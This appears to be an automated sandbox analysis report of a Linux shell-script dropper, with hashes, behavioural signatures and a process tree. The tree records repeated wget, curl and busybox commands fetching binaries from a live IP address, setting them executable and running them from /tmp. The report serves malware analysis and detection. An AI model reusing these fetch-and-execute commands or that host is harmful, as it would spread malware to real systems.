Analysis

  • max time kernel
    9s
  • max time network
    41s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 04:06

General

  • Target

    2efc3a0b95b0f47a391caeea7d0be6103ec13b915886586598849bb1a6a79d94.sh

  • Size

    10KB

  • MD5

    2c8ee73ff481383ca124810fef8653b1

  • SHA1

    2f0045a1346635e0b97b189a217d60329572ee9c

  • SHA256

    2efc3a0b95b0f47a391caeea7d0be6103ec13b915886586598849bb1a6a79d94

  • SHA512

    a4cf9a0c5f3fcb4bbc802490023c07e2cdfe73a8a6d3d4903e7e952967325270f6f4a0bf912b58844b8655e30ba7832a39dc377a73ed4443b77740b6584ad8ad

  • SSDEEP

    192:mrPM5ZTjn81dBLvdLvgaD6DGDN2uVFxFxFcj/flNzu7ui07gQ27wgRNKW5z7MUzm:jiC2N2uKu4OxTHC2N2uwCo

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2efc3a0b95b0f47a391caeea7d0be6103ec13b915886586598849bb1a6a79d94.sh
    /tmp/2efc3a0b95b0f47a391caeea7d0be6103ec13b915886586598849bb1a6a79d94.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
            PID:649
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:660
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
            2⤵
              PID:670
            • /bin/chmod
              chmod 777 jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
              2⤵
              • File and Directory Permissions Modification
              PID:673
            • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
              ./jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
              2⤵
              • Executes dropped EXE
              PID:675
            • /bin/rm
              rm jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
              2⤵
                PID:676
              • /usr/bin/wget
                wget http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                2⤵
                  PID:678
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:681
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                  2⤵
                    PID:683
                  • /bin/chmod
                    chmod 777 vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                    2⤵
                    • File and Directory Permissions Modification
                    PID:684
                  • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                    ./vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                    2⤵
                    • Executes dropped EXE
                    PID:685
                  • /bin/rm
                    rm vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
                    2⤵
                      PID:686
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                      2⤵
                        PID:687
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:688
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                        2⤵
                          PID:689
                        • /bin/chmod
                          chmod 777 vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                          2⤵
                          • File and Directory Permissions Modification
                          PID:692
                        • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                          ./vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                          2⤵
                          • Executes dropped EXE
                          PID:693
                        • /bin/rm
                          rm vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
                          2⤵
                            PID:694
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                            2⤵
                              PID:695
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:700
                            • /bin/busybox
                              /bin/busybox wget http://87.120.125.191/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                              2⤵
                                PID:704
                              • /bin/chmod
                                chmod 777 I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                                2⤵
                                • File and Directory Permissions Modification
                                PID:707
                              • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                                ./I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                                2⤵
                                • Executes dropped EXE
                                PID:709
                              • /bin/rm
                                rm I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                                2⤵
                                  PID:710
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                  2⤵
                                    PID:711
                                  • /usr/bin/curl
                                    curl -O http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:715
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.125.191/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                    2⤵
                                      PID:719
                                    • /bin/chmod
                                      chmod 777 MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:723
                                    • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                      ./MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                      2⤵
                                      • Executes dropped EXE
                                      PID:724
                                    • /bin/rm
                                      rm MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                                      2⤵
                                        PID:726
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                        2⤵
                                          PID:727
                                        • /usr/bin/curl
                                          curl -O http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:731
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.125.191/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                          2⤵
                                            PID:736
                                          • /bin/chmod
                                            chmod 777 zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:739
                                          • /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                            ./zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                            2⤵
                                            • Executes dropped EXE
                                            PID:741
                                          • /bin/rm
                                            rm zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                                            2⤵
                                              PID:742
                                            • /usr/bin/wget
                                              wget http://87.120.125.191/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                                              2⤵
                                                PID:743

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

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                                            Downloads

                                            • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY

                                              Filesize

                                              153B

                                              MD5

                                              998368d7c95ea4293237f2320546e440

                                              SHA1

                                              30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                              SHA256

                                              533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                              SHA512

                                              648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97